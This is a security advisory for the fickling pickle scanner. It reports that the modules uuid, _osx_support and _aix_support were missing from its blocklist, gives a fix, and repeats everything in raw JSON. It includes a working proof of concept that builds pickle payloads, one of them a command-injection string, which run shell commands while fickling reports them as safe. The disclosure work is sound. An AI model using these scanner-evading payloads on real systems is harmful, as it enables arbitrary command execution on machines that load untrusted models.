GHSA-5HWF-RC88-82XM
Vulnerability from github – Published: 2026-03-04 21:31 – Updated: 2026-03-04 21:31Assessment
The modules uuid, _osx_support and _aix_support were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b).
Original report
Summary
fickling's UNSAFE_IMPORTS blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: uuid, _osx_support, and _aix_support. These modules contain functions that internally call subprocess.Popen() or os.system() with attacker-controlled arguments. A malicious pickle file importing these modules passes both UnsafeImports and NonStandardImports checks.
Affected Versions
- fickling <= 0.1.8 (all versions)
Details
Missing Modules
fickling's UNSAFE_IMPORTS (86 modules) does not include:
| Module | RCE Function | Internal Mechanism | Importable On |
|---|---|---|---|
uuid |
_get_command_stdout(cmd, *args) |
subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL) |
All platforms |
_osx_support |
_read_output(cmdstring) |
os.system(cmd) via temp file |
All platforms |
_osx_support |
_find_build_tool(toolname) |
Command injection via %s in _read_output("/usr/bin/xcrun -find %s" % toolname) |
All platforms |
_aix_support |
_read_cmd_output(cmdstring) |
os.system(cmd) via temp file |
All platforms |
Critical note: Despite the names _osx_support and _aix_support suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS.
Why These Pass fickling
NonStandardImports: These are stdlib modules, sois_std_module()returns True → not flaggedUnsafeImports: Module names not inUNSAFE_IMPORTS→ not flaggedOvertlyBadEvals: Function names added tolikely_safe_imports(stdlib) → skippedUnusedVariables: Defeated by BUILD opcode (purposely unhardend)
Proof of Concept (using fickling's opcode API)
from fickling.fickle import (
Pickled, Proto, Frame, ShortBinUnicode, StackGlobal,
TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop,
)
from fickling.analysis import check_safety
import struct, pickle
frame_data = b"\x95" + struct.pack("<Q", 60)
# uuid._get_command_stdout — works on ALL platforms
uuid_payload = Pickled([
Proto(4),
Frame(struct.pack("<Q", 60), data=frame_data),
ShortBinUnicode("uuid"),
ShortBinUnicode("_get_command_stdout"),
StackGlobal(),
ShortBinUnicode("echo"),
ShortBinUnicode("PROOF_OF_CONCEPT"),
TupleTwo(),
Reduce(),
EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
Build(),
Stop(),
])
# _aix_support._read_cmd_output — works on ALL platforms
aix_payload = Pickled([
Proto(4),
Frame(struct.pack("<Q", 60), data=frame_data),
ShortBinUnicode("_aix_support"),
ShortBinUnicode("_read_cmd_output"),
StackGlobal(),
ShortBinUnicode("echo PROOF_OF_CONCEPT"),
TupleOne(),
Reduce(),
EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
Build(),
Stop(),
])
# _osx_support._find_build_tool — command injection via %s
osx_payload = Pickled([
Proto(4),
Frame(struct.pack("<Q", 60), data=frame_data),
ShortBinUnicode("_osx_support"),
ShortBinUnicode("_find_build_tool"),
StackGlobal(),
ShortBinUnicode("x; echo INJECTED #"),
TupleOne(),
Reduce(),
EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
Build(),
Stop(),
])
# All three: fickling reports LIKELY_SAFE
for name, p in [("uuid", uuid_payload), ("aix", aix_payload), ("osx", osx_payload)]:
result = check_safety(p)
print(f"{name}: severity={result.severity}, issues={len(result.results)}")
# Output: severity=Severity.LIKELY_SAFE, issues=0
# All three: pickle.loads() executes the command
pickle.loads(uuid_payload.dumps()) # prints PROOF_OF_CONCEPT
Verified Output
$ python3 poc.py
uuid: severity=Severity.LIKELY_SAFE, issues=0
aix: severity=Severity.LIKELY_SAFE, issues=0
osx: severity=Severity.LIKELY_SAFE, issues=0
PROOF_OF_CONCEPT
Impact
An attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as LIKELY_SAFE. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines.
Suggested Fix
Add to UNSAFE_IMPORTS in fickling:
"uuid",
"_osx_support",
"_aix_support",
Longer term: Consider an allowlist approach — only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules.
Resources
- Python source:
Lib/uuid.pylines 156-168 (_get_command_stdout) - Python source:
Lib/_osx_support.pylines 35-52 (_read_output), lines 54-68 (_find_build_tool) - Python source:
Lib/_aix_support.pylines 14-30 (_read_cmd_output) - fickling source:
analysis.pyUNSAFE_IMPORTSset
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.8"
},
"package": {
"ecosystem": "PyPI",
"name": "fickling"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T21:31:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Assessment\n\nThe modules `uuid`, `_osx_support` and `_aix_support` were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b).\n\n# Original report\n\n## Summary\n\nfickling\u0027s `UNSAFE_IMPORTS` blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: `uuid`, `_osx_support`, and `_aix_support`. These modules contain functions that internally call `subprocess.Popen()` or `os.system()` with attacker-controlled arguments. A malicious pickle file importing these modules passes both `UnsafeImports` and `NonStandardImports` checks.\n\n\n## Affected Versions\n\n- fickling \u003c= 0.1.8 (all versions)\n\n## Details\n\n### Missing Modules\n\nfickling\u0027s `UNSAFE_IMPORTS` (86 modules) does not include:\n\n| Module | RCE Function | Internal Mechanism | Importable On |\n|--------|-------------|-------------------|---------------|\n| `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL)` | All platforms |\n| `_osx_support` | `_read_output(cmdstring)` | `os.system(cmd)` via temp file | All platforms |\n| `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` in `_read_output(\"/usr/bin/xcrun -find %s\" % toolname)` | All platforms |\n| `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system(cmd)` via temp file | All platforms |\n\n**Critical note:** Despite the names `_osx_support` and `_aix_support` suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS.\n\n### Why These Pass fickling\n\n1. **`NonStandardImports`**: These are stdlib modules, so `is_std_module()` returns True \u2192 not flagged\n2. **`UnsafeImports`**: Module names not in `UNSAFE_IMPORTS` \u2192 not flagged\n3. **`OvertlyBadEvals`**: Function names added to `likely_safe_imports` (stdlib) \u2192 skipped\n4. **`UnusedVariables`**: Defeated by BUILD opcode (purposely unhardend)\n\n### Proof of Concept (using fickling\u0027s opcode API)\n\n```python\nfrom fickling.fickle import (\n Pickled, Proto, Frame, ShortBinUnicode, StackGlobal,\n TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop,\n)\nfrom fickling.analysis import check_safety\nimport struct, pickle\n\nframe_data = b\"\\x95\" + struct.pack(\"\u003cQ\", 60)\n\n# uuid._get_command_stdout \u2014 works on ALL platforms\nuuid_payload = Pickled([\n Proto(4),\n Frame(struct.pack(\"\u003cQ\", 60), data=frame_data),\n ShortBinUnicode(\"uuid\"),\n ShortBinUnicode(\"_get_command_stdout\"),\n StackGlobal(),\n ShortBinUnicode(\"echo\"),\n ShortBinUnicode(\"PROOF_OF_CONCEPT\"),\n TupleTwo(),\n Reduce(),\n EmptyDict(), ShortBinUnicode(\"x\"), ShortBinUnicode(\"y\"), SetItem(),\n Build(),\n Stop(),\n])\n\n# _aix_support._read_cmd_output \u2014 works on ALL platforms\naix_payload = Pickled([\n Proto(4),\n Frame(struct.pack(\"\u003cQ\", 60), data=frame_data),\n ShortBinUnicode(\"_aix_support\"),\n ShortBinUnicode(\"_read_cmd_output\"),\n StackGlobal(),\n ShortBinUnicode(\"echo PROOF_OF_CONCEPT\"),\n TupleOne(),\n Reduce(),\n EmptyDict(), ShortBinUnicode(\"x\"), ShortBinUnicode(\"y\"), SetItem(),\n Build(),\n Stop(),\n])\n\n# _osx_support._find_build_tool \u2014 command injection via %s\nosx_payload = Pickled([\n Proto(4),\n Frame(struct.pack(\"\u003cQ\", 60), data=frame_data),\n ShortBinUnicode(\"_osx_support\"),\n ShortBinUnicode(\"_find_build_tool\"),\n StackGlobal(),\n ShortBinUnicode(\"x; echo INJECTED #\"),\n TupleOne(),\n Reduce(),\n EmptyDict(), ShortBinUnicode(\"x\"), ShortBinUnicode(\"y\"), SetItem(),\n Build(),\n Stop(),\n])\n\n# All three: fickling reports LIKELY_SAFE\nfor name, p in [(\"uuid\", uuid_payload), (\"aix\", aix_payload), (\"osx\", osx_payload)]:\n result = check_safety(p)\n print(f\"{name}: severity={result.severity}, issues={len(result.results)}\")\n # Output: severity=Severity.LIKELY_SAFE, issues=0\n\n# All three: pickle.loads() executes the command\npickle.loads(uuid_payload.dumps()) # prints PROOF_OF_CONCEPT\n```\n\n### Verified Output\n\n```\n$ python3 poc.py\nuuid: severity=Severity.LIKELY_SAFE, issues=0\naix: severity=Severity.LIKELY_SAFE, issues=0\nosx: severity=Severity.LIKELY_SAFE, issues=0\nPROOF_OF_CONCEPT\n```\n\n## Impact\n\nAn attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as `LIKELY_SAFE`. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines.\n\n## Suggested Fix\n\nAdd to `UNSAFE_IMPORTS` in fickling:\n```python\n\"uuid\",\n\"_osx_support\",\n\"_aix_support\",\n```\n\n**Longer term:** Consider an allowlist approach \u2014 only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules.\n\n## Resources\n\n- Python source: `Lib/uuid.py` lines 156-168 (`_get_command_stdout`)\n- Python source: `Lib/_osx_support.py` lines 35-52 (`_read_output`), lines 54-68 (`_find_build_tool`)\n- Python source: `Lib/_aix_support.py` lines 14-30 (`_read_cmd_output`)\n- fickling source: `analysis.py` `UNSAFE_IMPORTS` set",
"id": "GHSA-5hwf-rc88-82xm",
"modified": "2026-03-04T21:31:03Z",
"published": "2026-03-04T21:31:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-5hwf-rc88-82xm"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b"
},
{
"type": "PACKAGE",
"url": "https://github.com/trailofbits/fickling"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Fickling missing RCE-capable modules in UNSAFE_IMPORTS"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.